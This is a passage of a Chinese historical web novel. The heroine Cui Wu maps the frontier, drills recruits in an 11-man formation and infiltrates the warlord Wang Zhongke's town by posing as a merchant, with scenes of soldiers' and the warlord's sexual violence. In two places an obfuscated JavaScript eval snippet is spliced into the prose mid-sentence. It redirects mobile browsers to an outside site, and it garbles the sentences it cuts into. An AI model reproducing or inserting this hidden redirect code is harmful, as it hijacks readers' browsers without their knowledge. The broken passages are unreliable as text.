狄斐对歧王“血脉”的观感能好才怪。 “后来,老王爷年迈昏聩,连咱们赵都尉都猜忌起来,削了他的兵权——若非如此,赵都尉怎会殒身战场?又哪有那姓杨的伪王什么事?” 崔芜弄明白前因后果,对这一盆恩怨情仇的狗血没了兴趣。与此同时,她在心里暗暗犯难:前后两任父亲都因老歧王而死,狄斐对歧王一脉的怨恨不说不共戴天,也是视如仇寇。想借着歧王的招牌将人纳为己用,基本不用考虑。 幸好她压根不是什么歧王血脉,姓狄的大约也看穿了这一点,才没直接找她算杀父之仇。 总还有回旋的余地。 她一边思忖,一边运笔如飞,转瞬开好药方。一味是外敷的安紫消毒液(1),原是清末镖师祖传伤科秘方,药材为大叶桉叶和裸花紫珠,煎后放入酒水沉淀,取清夜外敷,有收敛止血、消炎止痛之效。 一味是内服的血府逐瘀汤(2),药材为桃仁,红花,当归,生地黄,牛膝,川穹,桔梗,赤芍,甘草、柴胡等十三味药,有活血化瘀、行气止痛的功效。 她没敢挑过于复杂的药方,饶是如此,老军医依然摇头:“咱们这地方,哪有这许多药材?能有几味补血药就不错了。” 崔芜皱眉,意识到一个其实第一天入关时就注意到的问题。 这地方,忒穷。 萧关是一座城,城池战略位置重要不假,却没能为当地百姓带来多少福利。盛世年间,丝路畅通,东西行商在此交汇,尚能源源不断地注入物资和财富。可如今是乱世,战火四起,扼守河西的秦萧疯了才会在这时打开古丝路入口,让各怀鬼胎的野心家涌入中原,再现五胡乱华的惨状。 这意味着萧关没有任何积累财富的手段,只靠周边土地产出,杯水车薪,养活城中的五百兵将都吃力,如何为此间将士谋得更好的前程? 崔芜相信,不止她一人考虑过这个问题,狄斐为守将,应该比她更头疼。 梳理清眼前最迫在眉睫的问题,崔芜心里有了底,堂而皇之地求见狄斐。 这一回,狄斐没再拿乔,很痛快地见了崔芜。这女子在伤兵营的种种举动引起了他的兴趣,也让狄斐越发肯定,所谓的“歧王遗女”纯属扯淡。 当然,她带来的那个熊孩子应是老歧王嫡亲的儿子不假,毕竟他身上玉佩确为李氏信物。但狄斐活了二十来年,没见过哪家金尊玉贵的郡主像崔芜一般,袖子一挽裙子一撕,钻进又臭又脏的伤兵营接连三日不露面,期间除了包扎伤口,连拔箭吮脓血做截肢手术这样的脏活累活都一力承担。 说她是老歧王的亲闺女,还真是李家人祖坟冒青烟了。 “何事?”他揣度着崔芜来意,心想对方是不是打算借歧王名义招揽人心,“可是营中一穷二白,怠慢郡主殿下了?” 崔芜:“怠慢我不要紧,但营中皆是为国守边的将士,吃不好穿不暖,连伤了病了都没足够的药材,将军心里就没想法?” 狄斐岂会没有想法?就是太有想法了,可惜一个也实现不了。 但他不曾将念头宣之于口,只是审视着崔芜:“郡主这么问,是有想法了?” 崔芜不在意他的试探,狄斐肯给她说话的机会,就是有更进一步的打算。 “可否借舆图一用?” 狄斐盯了他片刻,唤来亲兵去取舆图。 须臾,一挂卷轴被捧来,展开的瞬间,崔芜刚灌下去的茶水呛在喉咙里,险些咳郁卒。 这他娘的是舆图?莫说后世的三维地图,就连她在孙彦书房中见过的那份,都比眼前的随手涂鸦强百倍好伐! 就这敷衍潦草的两条波浪线和三角圆圈,它哪来的脸管自己叫舆图啊? 她嫌弃的眼神太分明,狄斐嘴角抽了抽,难得解释了一句:“原先的舆图在战乱中丢失了,这是后来重绘的,难免简陋些。” 崔芜深吸一口气:“有纸笔吗?” 狄斐存心看看她能扯出什么淡,命人取了纸笔。崔芜裁了一方足能铺满案面的麻纸,先大致勾勒出甘肃、宁夏、陕西和内蒙古的轮廓,再添上山川分布,如黄河、渭河、清水河、六盘山一一浮现纸面,最后根据地标方位并估算比例尺寸,标明城镇名称。 当然,都是古名。 摸着良心说,崔芜笔下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553317|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的舆图亦称不上精细,高中地理学得再扎实,多年不用,许多细节也记不详实。饶是如此,狄斐还是惊呆了,开始尚能自持矜傲,抱胸斜倚案角,随着舆图逐渐成型,他是胸也不抱了,后背也挺直了,眼珠直勾勾地黏在纸上,任谁也休想将他拉开。 崔芜在绘图间隙中活动了下脖子,就见狄斐不知什么时候凑过来。 这小子难得话里不带嘲讽:“你如何会画这些?谁教你的?” 崔芜:你高中地理被个变态老头天天盯着默画全国版图,你也会! 但她不能这么说,轻飘飘地带过:“这个不重要。重要的是萧关西北以六盘(3)……呸,陇山为屏障,受雨露滋润,物产丰富,药草便是其一。既是营中药物不够,将军可请识得草药的老医工画出图纸,再令将士轮番采药,以解燃眉之急。” 狄斐不动声色:“还有呢?” 崔芜并指向右,落定在萧关东侧。 狄斐:“陇州。” “陇州位于关中西部,陇山东坡,因山得名,地貌多样,”崔芜回顾着上辈子看来的资料,缓缓道,“境内有渭河、泾河流过,水脉丰富,既是八百里秦川的延续,又背靠山麓,资源丰富。” “狄将军,你当真没打过这块风水宝地的主意?” 狄斐越听越心惊,他久驻萧关,如何不清楚附近地貌?自然知道崔芜所说半点不虚。 可她之前从未涉足关中,又怎会知道的如此清楚? 当某个人头一次叫人眼前发亮时,或许是巧合。可再一再二不再三,这么多“巧合”集中在同一人身上,总不能以凑巧一概论之。 崔芜的努力没有白费,她几次三番展露锋芒,终于达到想要的效果——让狄斐真正将她看在眼里,不再当成麻烦的“神牌”高高供起,而是用平等的姿态对待她。 “陇州确实是个好地方,”他肯定了崔芜的判断,随后话音一转,“但郡主可知,这么一块肥肉,盯上的可不止咱们一家。” 不知不觉,他已经将崔芜算作自己“一家”的。 崔芜没有更正他的说法。 “将军的意思是,有人捷足先登?”她沉吟着问,“是哪方势力?伪王的人?” 狄斐玩味着“伪王”两个字,笑了。 “不全是,但也算不得朋友,”他悠悠道,“说来,此人也是狄某的老相识,姓王,名重珂,当年曾是镇野军护军校尉,深得义父倚重。” 崔芜明白了:“伪王叛乱,赵老将军以身殉国,这位王将军没了束缚,干脆据了陇州,自立门户?” 狄斐默认了。 “姓王的拉拢了陇州的豪强大户,要钱有钱,要人有人,俨然是当地的土皇帝,”他生就一双丹凤眼,斜睨崔芜时,说不出的散漫不羁,“这姓王的有些手段,只是为人不太规矩,听说裹挟了好些百姓,把好好的陇州折腾得乌烟瘴气。” 崔芜听到这里,反倒笑了。 “这不正好?”她说,“姓王的接不住,就换人来。天予不取,反受其咎。” 狄斐瞳孔微收。 这话但凡换个男人来说,他都不会这么震惊,可崔芜只是弱质女流。 连个女子都有这样的野心,这般的志气,他堂堂须眉,还要往后缩吗? 然而狄斐也精明,分明拿定了主意,却要崔芜先开口:“郡主不会告诉我,想靠你手下那帮枪都握不住的庄稼汉去拿陇州吧?” 崔芜当然不至于如此狂妄。 “借我三百人,”她说,“拿下陇州,于将军有益无害。” *** 如果崔芜这话是三天前说的,狄斐定然嗤之以鼻。 但是这三天的时间改变了他的想法,崔芜在伤兵营里的表现证明了她的胆魄和坚忍,对周边地貌的如数家珍显出非同寻常的眼界与胸襟,再加上她曾于胡营之中孤身行刺铁勒主帅的举动—— 狄斐有种直觉,她说拿下陇州,还真不一定是空口说大话。 “王重珂有兵八百,分驻华亭、汧源、吴山和汧源四地,其中以华亭兵力最重,足有近四百人,且都是追随他多年的精兵,”他道,“我守着萧关,最多借你二百五十人。” 崔芜无语。 不是两百,也不是三百,偏偏卡在“二百五”上。 “行吧,”她牙疼地说,“二百五就二百五。” 总比没有强。 25. 第二十五章 列阵 崔芜虽然打陇州的主意,却没立刻采取行动。 原因很简单,即便她不是秦萧那般的兵法大家,也知道“工欲善其事必先利其器”的道理(1)。 手下那三瓜俩枣还没磨出个样子,就贸贸然冲进人家老窝,这是去送菜啊还是去送菜啊? “姓王的不好对付,总得容我准备半月,”她对狄斐道,“好歹让我的人和将军麾下精兵磨合一二,彼此熟悉了脾性,才好合作。” 听着有些道理,狄斐答应了。 他虽桀骜不驯,说出口的话却不会反悔,当下挑了两百五十人与崔芜,不都是老兵,□□成是临时招来的流民,尚未操练纯熟。 崔芜便知,狄斐虽认可了她,却还要掂掂她的分量,且看她是否接得住这个烂摊子。 “无妨,”她对丁钰说,“老兵有老兵的好,新兵也有新兵的优势,若都是老兵油子,我还担心压不住呢。” 丁钰却没这么乐观:“新兵也不是好说话的,尤其你是个姑娘家,他们不清楚你的能耐,只怕会挑刺。” 崔芜一笑:“不怕,我有延昭。” 丁钰没话说了。 军中素来慕强,谁的拳头大谁就嗓门亮。按说本该没有崔芜这样的女子容身之地,可她运气好,事先收服了延昭。 此人跟着镇野军操练数日,诸般阵型牢记于心,刀枪剑戟亦玩得极溜。有好几次,他在校场练武,引来军中老兵围观,有几个甚至跃跃欲试,主动提出和延昭较量。 结果竟是输多赢少。 老兵尚且如此,遑论新兵。他往崔芜身后一站,便如镇山太岁一般叫人心安。 “诸位大约听说了,半月后,咱们要去一趟陇州。我无意隐瞒各位,这一趟不是美差,单华亭一县就驻有精兵三四百,当真硬碰硬对上,咱们胜算并不高。” 崔芜没有用充满煽动性的语言鼓舞士气,一上来就平铺直叙道:“若是怕死,现在可以出列,我不强人所难。” 一众新兵都听过陇州驻军的恶行,说心里不怯,纯属扯淡。闻言,真有几个胆小的面露心动,可惜还没挪步,就听延昭大喝一声。 “富贵从来险中博,大丈夫既投身行伍,哪有怕死的道理!”他怒目圆睁,将那几个想退出的生生瞪了回去,“陇州有精兵,那又怎样?谁还不是血肉之躯、肉体凡胎?赶走了姓王的,那大好城池就归咱们了,还用担心饿了没饭吃,病了没药喝?” 崔芜:“……” 这话虽是实情,可也忒实在,听着不像当兵的,像土匪下山打家劫舍。 她干咳两声,见方才动摇的人心被延昭两句黏了回来,于是趁热打铁:“不错!此去虽险,我却不会带着大家自陷绝境。只要诸位听我吩咐行事,咱们至少有……” 她思忖了下,给数字加了水分:“五成胜算!” 众新兵哗然,似有疑虑,想到崔芜行刺胡军主将的壮举,又隐隐生出一丝期待。 “但在此期间,我需要你们完全按我的吩咐行事,”崔芜神色严肃,“战场之上,瞬息万变,任何一丝迟疑都会死人。你们若怀疑我、不愿服从我,现在也可以离开。” 这一回,又是延昭先开口:“我的命是你救的,你让我做什么,我就做什么。” 一路追随崔芜的汉子们跟着应声:“我们都听你的,你说如何就如何。” 新兵们大多是流民出身,若非走投无路,谁愿意背井离乡?长时间的艰难跋涉与命悬一线足以磨平棱角,又未曾历炼出老兵的油滑泼蛮,听旁人这般说,便跟着道:“若真能叫咱们过上好日子,听你的又何妨?” 崔芜:“既如此,从今日起,所有人开始为期半月的特训。放心,我会同你们一起,该吃的苦头,一分也不会少。” 新兵们面面相觑。 特……啥玩意儿? 崔芜说到做到,负重跑、往返跑、蛙跳、站桩,各项基础体能训练一一安排上。她自己也跟着一起做,虽然体力比不上男子,时不时得休息一二,可没多会儿,又能看到她出现在队伍中。 领头人陪着一起吃苦受罪,很好地抚平了新兵们被迫摸爬滚打的怨气。期间,延昭和丁钰不止一次劝说崔芜:“差不多得了,都知道你是个姑娘家,没人跟你较这个真,头两回做做样子,后面能歇则歇,谁还强着你不成?” 彼时崔芜背着十公斤的重物,刚马不停蹄地跑完五公里,整个人喘成漏气的风箱,坐地上狂灌凉水。 顺带一提,在崔芜的强烈要求下,营中一应饮水都换成烧开的滚水,伙头军几口大灶成日里不熄火,专门给将士们烧水喝。 崔芜抹去嘴角水渍,只反问了丁钰一句:“来日战场相见,敌人会因为我是个女人就刀下容情吗?” 那大约是不会的,丁钰不吭声了。 崔芜喘息片刻,起身加入蹲马步的队伍。 新兵营的动静瞒不过狄斐,头两回操练时,他特意带着副将站在高处,就为了看清这支临时拼凑出的杂牌队伍有多少斤两。 副将亦是久经战阵之辈,并不把崔芜这点阵仗看在眼里:“打仗可不是过家家,以为这样就能拿下陇州?真是痴人说梦!” 狄斐难得不曾面露讥讽:“你只看到这些?” 副将不解:“将军的意思是?” 狄斐扬起下巴:“她漂亮吗?” 副将循着他的指点望去,不自觉地咽了口唾沫。只见晨光下,崔芜半边脸孔氤氲在若有似无的金色烟气中,左颊处的疤痕尚未完全消退,近看依然有两道深色印子,却丝毫不损她的艳色。 她与一众新兵一起蹲马步,嘴唇紧抿神色专注,眉眼精致得不可思议,随手勾勒就能入画。 副将没法昧着良心:“郡主若不漂亮,这世上也没有美人了吧?” “一个漂亮的美人自有底气,哪怕什么不做也能富贵安稳地过完一生,”狄斐说,“只要她甘心攀附男人,安分守己,没几个男子舍得伤害这样的女人。” 副将设想了下,如果崔芜像旁的女子一样婉转妩媚、曲意逢迎……不行,骨头要酥了。 “那女人有着绵羊的外表,偏偏生了母狼的心胸,”狄斐低语,“我很好奇,野心能不能催生出虎豹的爪牙?” 副将没听懂自家将军的话,但他也是行伍多年,练兵经验极为丰富,一眼瞧出不对。 “像她这种操练法,不可能干得过王重珂,”他收起不合时宜的心猿意马,就事论事道,“训练腰腿力气是对的,但练得再好,也是头骆驼。王重珂再不济,那也是久经战阵的将领,拿骆驼去跟恶狼斗,这不是送死吗?” 狄斐没否认他的话。 事实上,崔芜比任何人都清楚自己的弱势。新兵的缺陷再于不曾上过战场,体格练得再健壮,武艺纯熟和实战经验仍远远比不上身经百战的老将。 但她有自己的法子,打从决定开启“攻克陇州”副本的第一天,她就将军营武库搜刮一遍,实在寻不到合心意的兵刃,干脆拖着丁钰和延昭去了城外,各处山头挨个蹚过,终于在一处向阳山坡上寻到目标。 是竹林,翠浪翻滚,涛声不绝。 “看到那些毛竹了吗?”崔芜比划着,“碗口大的,砍它百八十根下来,从根部砍,竹竿至少保留一丈五到一丈六,上面的枝枝叉叉也别丢,全留着。如果可以,在枝杈上绑些铁刺或是木刺。” 延昭鲜少反驳崔芜的话,这回却有点忍不住:“是要拿竹子当兵刃使?不成的,竹身太长,上了战场挥洒不开,后背很容易露出空当,一偷袭一个准。” 崔芜虽没见过正经战场,电视剧里也没少观摩,大约能想象出混战一团是什么情形。 闻言笑道:“放心,我心里有数,不会让你们送死的。” 倒是丁钰在旁看出些许门道。待得回了大营,崔芜又一头扎进武备库,寻了长枪、蒺藜棒、长刀和圆盾出来,将新兵分成十一人一队,按人数分发不同兵刃,专门训练进退间的配合默契。 丁钰心中的三分把握增至七成肯定,对崔芜道:“新手上阵,一半看功夫,一半看运气。你用了前辈才智,没事给人上柱香,说不定老祖宗一开眼,保佑你旗开得胜呢?” 崔芜觉着有理,回头就画了个身着鸳鸯战袄、腰佩倭式长刀的小人(2),胸口写了个大大的“戚”字,供在佛前敬了三柱香。 *** 半个月的光景,说长不长,说短弹指即逝。这段时间,崔芜过得规律极了,每天早起出操训练体能。新兵们随延昭练习刀法枪术,她也在旁跟着比划。 这时便体现出她当年的远见:刚穿越那会儿,发现自己成了供人赏玩的风尘女子,崔芜一没寻死觅活,二没自暴自弃,主动提出学习舞艺,理由是技多不压身。 老鸨喜她上进,特意请了名师教导,殊不知崔芜另有打算,每天借着练舞之名拉伸、压筋,只为练出一副康健的体魄,来日离了楚馆,有足够的底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553318|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气跋涉逃难。 事实证明,未雨绸缪果然派上用场。商女躯壳看似孱弱,实则坚韧得很,撑住了千里北上,也扛过了地狱特训。 中午用过饭食,略歇息小半个时辰,就是战阵演练。这是崔芜的弱项,仅有的一点印象都是b站视频看来的,只能将自己想要的效果大致讲给延昭,再由他领会吃透,带着新兵操练。 别说,还挺有成效,半个月下来,不说炉火纯青,至少熟练度和默契度是有了。听见战鼓声响,一众新兵已能自觉排好阵形,长短兵刃相互配合,寒光闪烁间,真有几分“青海长云暗雪山”的意思(3)。 新兵营的动静瞒不过人,打从第一日特训开始,便有好些人围观。一开始,老兵不以为意,盖因跑跳负重乃至刀法武艺皆是军中操练的基本功,不足为奇。 等到十一人成队的阵法出来,眼珠子掉了一地。 军中不乏识货之人,副将便是其一。他一改之前的不屑鄙薄,暗搓搓观摩数日,将新兵演练阵法记录纸上,献宝似地拿给狄斐。 “这女子当真有两下子!”他指着图纸,兴奋之情溢于言表,“长短兵刃相互配合,以长兵刃刺杀敌军,掩护后方队友推进。若是敌军迂回攻击,短刀手便上前击杀敌人,护住队友。”(4) “兵器虽不同,分工却明确,每个人只需精熟自己手中兵刃,若能配合默契、令行禁止,威力不容小觑!” 副将先是眼睛发亮,继而叹了口气:“可惜,这阵法于步兵最见效果,王重珂麾下却有为数不少的骑兵,郡主一番苦心,怕是派不上用场。” 狄斐盯着图纸:“倒也未必。” 副将微怔:“将军的意思是……” 狄斐却不曾解释,将阵型牢牢记在脑中,方折好图纸,收进袖口:“阵法是好的,可顶不顶用,还得看临阵发挥——她手下都是些新兵,只操练了两月不到,时间仓促,未必能演练纯熟。” 他背手在帐中踱了两圈,转身下定决断:“你从我帐下亲兵里,挑两个武艺精熟的派给郡主。告诉他们,旁的不用管,只一条,不管成败,务必将人毫发无损地带回来。” 副将明白狄斐的意思,他未必有多在乎崔芜死活,只是这女子藏得秘密太多,无论是治疗箭簇外伤的医术、绘制舆图的能力,还是不知从何处学来的操练军阵之法,随便一桩都足够惊艳,何况是三项集于一身。 自家将军这是将崔芜当成了“百宝囊”,探明底细之前,不容她有闪失。 “末将明白,”他抱拳道,“这就下去安排!” *** 半月之期,转瞬即过。最后一日,出发在即。 新兵营在空地前集结列队,虽未着甲,却是统一的蓝底黑边,腰佩长刀,枪杆拄地,瞧着颇为精神。 最前方,崔芜在延昭、丁钰的簇拥下入场。她这一路皆是男装打扮,今日也不例外,只除了往日随意编起的长发束成马尾,飘扬风中,衬着眉眼间的沉稳锐气,多了几分英姿飒爽之意。 “这话我之前说过,今日不妨再说一遍,”崔芜神色冷戾,“这一趟不是游山玩水,是真刀真枪的战场厮杀。出了营,连我在内,都不敢打包票能活着回来。” “若是怯了,怕了,现在出列,我许你们全身而退。若是上了战场再畏战脱逃——” 她转向延昭,厉声喝问:“依镇野军军法,该当如何?” 延昭答得干脆:“战端一开,不死不休!临阵畏战者,立斩!” “呛啷”一声锐响,他拔刀在手,刀锋映照日光,铁衣胜雪。 追随崔芜入关的汉子们立刻效仿,长刀出鞘,喊声震天:“畏战立斩!畏战立斩!畏战立斩!” 十来个汉子呼喝声汇成一股,威势甚是慑人。二百多亲兵先是被震住,随即,这些日子摸爬滚打出的血性涌上心头,胸怀激荡之下,忍不住放开喉咙,跟着一同呼号—— “畏战立斩!” “畏战立斩!” “畏战立斩!” 丁钰没跟着一起嚎,却被汉子们的锐意逼住血液,后颈窜起一层鸡皮疙瘩。 他搓了搓汗毛倒立的胳膊肘,心说:这丫头还真是天生带节奏的料! 崔芜扫视过眼神嗜血的新兵,满意了。 她也佩刀,只是比寻常腰刀短了一半,刀锋却极锐利,出鞘时好似一泓秋水横陈。 嗡一声龙吟,戾气逼人。 “——出发!” 26. 第二十六章 好色 镇野新军出营时声威浩荡,待得行出三五里,便敛下锐气、藏了兵刃,用装有皮毛、药草的板车作为遮掩,扮成商队往东而去。 看明白崔芜的打算,丁钰无奈:“搞了半天,你压根没打算硬碰硬?” 早起出发匆忙,崔芜没顾上用早食,此时盘腿坐在板车上,一口凉水一口胡饼:“傻子才跟正规军硬碰硬。既知道那姓王的软肋是什么,当然要物尽其用。” 王重珂的软肋是狄斐友情附赠的,也很好理解,无非是男人的通病——好色。 当然,狄斐的本意不是提点崔芜,而是叫她知道厉害,最好能打消“郡主娘娘”亲身赴险的念头:“当日我义父在世时,王重珂是正经的护军校尉,家中娶了好几房婆姨。如今据了陇州,头顶没人压着,越发没了忌惮。听说华亭县城中的女子,不管出身如何,也不管在室还是出嫁,只要有几分颜色,又经了他的眼,都被抢回府中。” “他麾下部将为了讨好他,甚至将妻女主动送上,其好色程度,可见一斑。” 他吓唬完了,回头见崔芜未露丝毫惧意,双目反而灼灼发亮,一看就是在盘算什么。 “好色啊,”她饶有兴味地拖长音,用单手挽住披散下来的长发,“这不是巧了?” 狄斐不太想知道哪里“巧了”,只觉得崔芜眼神太亮太诡异,叫人心惊胆战。 他知道拦不住崔芜,只得再三叮嘱跟着去的亲兵,无论如何,一定要将人活着带回。 狄斐派来的两个亲兵,一个姓岑,一个姓赵,都是老成持重之辈,一路上如非必要,几乎不开口。丁钰几次三番想法套话,结果都铩羽而归。 直到三日后,一行人入了陇州地界,他们才说了启程后的第一句话。 “入陇州之后,乱兵流民势必增多,郡主虽已改作男装,但眉眼容貌过于精致,不难看出女儿本色。” 姓岑的亲兵单名一个明字,人老成,说话也中肯:“郡主不妨用黄泥涂脸,遮住容貌,不惹人注意,也更利于随后行动。” 崔芜觉得有理,采纳了,自去寻了片河滩,用河泥在脸上糊了两层,直到厚厚的泥巴压住眉眼丽色才肯罢休。 丁钰瞧得长吁短叹,又没更好的法子,只能私下抱怨:“好好的一张脸,还不能露在外面,真他娘的憋气。要我说,你赶紧把陇州收了,那些不做人的也都清理干净,免得再有女孩子倒霉。” 崔芜对着水面照了照,自己觉得挺不错:“以前倒是锦衣珠玉浓妆艳抹,结果呢?是打扮起来伺候别人,连囫囵人都算不上,就是个玩意儿。如今想怎么过活怎么过,不想看这张脸就拿黄泥涂起来,不也挺好的?” 丁钰想起她过往十多年的倒霉经历,不吭声了。 如此再走三日,便到了华亭县城。那王重珂为人如何姑且不论,军事素养肯定过硬,城墙修得似模似样,城头建有瞭哨,足可探查三五里开外的动静。 崔芜等人扮作商队,一早打出行商旗号。待到城门口,守城官兵走来检查货物,似调侃似试探:“这时候还有行商往华亭跑?稀罕啊。我说你们,该不会是哪路叛军伪装的吧?” 崔芜:“……” 她脸上糊了厚厚的泥巴,实在不方便开口,只能用眼神示意丁钰。后者会意,赔笑上前,往官兵手里塞了个厚厚的荷包:“原是我们少东家有个远房亲戚,家里遭了兵祸,听说往陇州地界来了。我们少东家顾念亲情,这才借着走货寻了来,还请军爷行个方便。” 荷包份量不轻,守城官兵掂了掂,大约还算满意,回头对同伴一摆手:“放行。” 商队开进华亭,人数不算多,也就二十来几,剩下的与所携兵刃一起,都藏在城外竹林中。 崔芜一直以为自己伪装得不错,入了城才明白,守城兵将的疑虑从何而来。 她知道乱世之中求存艰难,除却江南偏安一隅,以长江为界,江北诸城日子都不太好过。即便尊贵如晋都的汴梁,也免不了受胡人洗劫,何况其他? 但华亭的凋敝,着实超出了心理预期。 街上没有店铺,这是自然的,所谓“匪过如梳,兵过如篦”,被乱兵勒索过几遍,再殷实的人家也扛不住。但那些房屋亦是想象之外的破败,门窗死死掩着,只从破缝中隐约可见往外窥探的眼睛。 这种鬼地方,哪家商号不长眼,会主动上门做生意? 他们走了许久,才寻到一间勉强能落脚的客栈。崔芜擦去面上泥污,亲自上前敲门,好说歹说,又让掌柜的隔着门缝瞧了,才开门将他们迎进去。 “客官别笑老汉胆小,实在是怕了,”掌柜的一边将人往楼上引,一边摇头晃脑,“离这里两条街也有家客栈,上个月来了伙行商投宿,孰料是贼匪假扮的,趁夜洗劫一空,放了把火消失得无影无踪。可怜那掌柜的两口子,连具囫囵尸首也没找全。” 丁钰忍不住道:“那王重珂就不管吗?” 掌柜的忙去捂丁钰的嘴:“嘘!客官不要命了?那一位……”他手指头顶,声音压得极低,“……他的名讳也敢直呼!” 丁钰不屑地撇了撇嘴,忽听外头传来一声尖叫,虽隔得老远,却隔不去尖利中透着的惊恐和惨烈。 丁钰与崔芜对视一眼,三两步抢到窗前,只见远处街角,几个兵丁嘻嘻哈哈地,将一个姑娘堵在窄巷里。 掌柜的一拍大腿:“诶呀,这不是隔壁老陈头家的二闺女?说了多少回白日里别一个人出门,怎地被堵住了?” 话音未落,一个老头呼天抢地地赶上去,试图将施暴的兵丁拉开。兵丁嫌他碍事,随手搡开,老头立足不稳,一头跌撞在断垣尖利处,鲜血溅了满墙满地。 那姑娘发出一声惊天动地的惨嚎。 众人皆变了脸色,延昭是有妹子的人,最见不得这种场面,转身就要冲下楼,却被掌柜的死死拽住。 “可别!”他连连摆手,“这些人凶得很,二丫头是救不了了,别把你们再赔上!” 说话间,姑娘挣脱了拖拽她的兵丁的手,紧跟着撞上断墙。兵丁惊了一跳,赶紧将人拖回,见她虽撞了满头血,但气息尚存,一时没有性命之忧,遂放了心,却也不敢再施暴,骂骂咧咧地拖着走了。 延昭瞧得脸色铁青,好几次想冲下去,都被崔芜摁住。 “小不忍则乱大谋,”她轻声道,“我知你心里恨,但你须知,杀几个兵丁无济于事,要紧的是除了他们身后之人。” 延昭瞳孔骤缩,拳头无声无息地握紧了。 *** 有道是知己知彼,百战不殆,在赶路途中,崔芜一直在想,王重珂到底是什么样的人?能坐拥陇州,除了男人通有的毛病,总该有点别的长处? 现在她知道了,此人能收拢残兵,占山为王,全凭一个“狠”字。 自打王重珂据了华亭,便占了县衙当作自家府邸。他手中有兵,行事又狠,原先的县令先还忍着,后来实在看不过眼,委婉劝谏了两句,不料惹怒了这活煞星,当场丢进大牢,放话三日后当众活剐了,看谁敢与他姓王的对着干。 因着这份狠辣手段,以蒋姓、潘姓为首的陇州大户,谁也不敢说一个不字。不管王重珂要人还是要粮,都早早备好,殷勤小心地送到府上,唯恐动作慢了,全家老小都成了刀下亡魂。 奈何这回,王重珂要的数目实在太大,这些人扛不住,只能备了厚礼,硬着头皮上门求情。 “这两年年景不好,佃农能跑的都跑了,地也撂了荒,两万石谷子,五百壮丁,就是咱们几家凑一凑,也凑不出来,”蒋老爷跪在地上,小心翼翼道,“还请将军宽限则个。” 地上铺着青砖,凉意透过丝绸衣料渗入皮肉。他跪得难受,却不敢抬头,因为头顶不时传来女子痛苦难耐的“唔唔”声。 此处原是县衙二堂,被王重珂改成议事厅,名字起得正经,风格却极粗野,上首摆了张宽大的胡床,铺着虎皮褥子。他大马金刀地坐在上面,怀里搂着个衣衫不整的年轻女子。 那女子生得秀丽,只是被掳来后受尽折辱,人显得憔悴,眼眶也是通红。可王重珂偏要她笑,女子不肯,他就掐着人下巴,将一整杯烈酒生灌进去。 女子不会喝酒,呛得直咳,姓王的老色胚却哈哈大笑,兴致上来,也不管堂下还跪了人,将那女子摁在胡床上,欺身就是一通翻云覆雨。 蒋老爷被迫听了一场活春宫,整个人都不好了,又不敢捂着耳朵,恨不能寻条地缝钻进去。好容易那王重珂尽了兴,提上裤子懒洋洋地问:“你方才说什么?” 蒋老爷长出一口气,忙道:“小人说,还请将军宽限……” 话音未落,忽听上首惨叫一声,却是那女子不堪折辱,在发间藏了根钗子,钗头磨得极尖利,充作利器刺向王重珂。 王重珂再不济也是武将出身,哪容得她近身?反手便是一记掌掴,连人 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他知王重珂好色,这番话原是对症下药。对方也的确受用,转怒为喜:“如此甚好!那娘们虽不听话,姿色勉强算得上佳,死了怪可惜的。既是你有更出色的,也不必再调教,直接送来,本将军今夜就圆房。” 蒋老爷乃是急中生智,哪有什么美人?可当着煞星的面,他万万不敢改口,连声应道:“小人这就去安排,这就去……” *** 蒋家原籍吴山,来了华亭,只能寻地投宿。从县衙出来后,他一副眉毛就没舒展过,愁眉苦脸地回了客栈,进门就听小二与掌柜的窃窃议论:“那商队领头的怎是个女子?生得还那般美貌,若是被‘那位’瞧见,怕不是眼珠子都要瞪出来……” 说者无心,听者有意,蒋老爷本已绕了过去,听见这话有如天降甘霖,三步并两步地折回来,一把揪住小二衣领:“哪来的美貌女子?你把话说清楚!” 一个时辰后,蒋老板再次走进县衙。这一回,他愁云尽去,满面堆笑,开口就是求见王重珂。 他在大堂等了足有大半个时辰,才等到一个衣袍半褪、神色不耐的王重珂:“什么要紧事,非得这时候登门?若给不出个明白交代,本将军就……” 他话没说完,突然忘了后半句,眼神直勾勾的,却是越过王重珂,打量他身后之人。 王重珂见状,越发多了三分底气,笑眯眯地让过半步,叫王重珂瞧得更分明些:“回将军,这位崔老板,自称带着商队进城做生意,想寻人为她引荐。小人斗胆,便带着她直接找上门来。” 王重珂哪还听得见他说什么,只顾盯着他身后之人。那是个女子,裹一袭不大合身的锦绣衣裙,却没人留心到这一点,只因那副容颜足以让人忘记一切。 她上前两步,行了个袅袅婷婷的万福礼:“民女崔芜,给将军请安。” 王重珂半边身子当即酥麻,被她一浅笑一垂眸,另半边身子也动弹不得。 “安、安,有你在,本将军就安了。”王重珂将挡在中间的蒋老爷搡到一边,迫不及待地握住崔芜一只细白柔荑,“美人,你今年多大了?可会歌舞?会不会饮酒?不会不要紧,本将军教你。” 崔芜起了一身鸡皮疙瘩。 她不动声色地垂下眼,视线掠过姓王的握住她的咸猪手,提前预定了案板菜刀。 面上却不动声色:“歌舞有何难?只是民女有一怪癖。” “什么怪癖?” “民女喜欢人多,人多,方有起舞的兴致,”崔芜微笑,“若是围观者只有区区两人,民女可懒怠费神。” 王重珂大笑:“这有何难?来人,去传本将军的命令,凡校尉以上,都给我叫来。” 亲兵答应着去了。 